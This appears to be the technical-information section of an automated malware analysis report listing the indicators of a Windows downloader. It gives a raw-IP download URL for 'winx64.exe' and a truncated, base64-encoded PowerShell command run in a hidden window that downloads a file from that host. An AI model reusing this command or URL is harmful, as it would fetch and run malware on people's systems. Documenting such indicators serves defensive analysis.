Technical Information
- http://94.102.58.30/~trevor/winx64.exe as %appdata%\winx64.exe
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1888
- %TEMP%\1081648.cvr
- '94.##2.58.30':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADQALgAxADAAMgAuADUAOAAuA...' (with hidden window)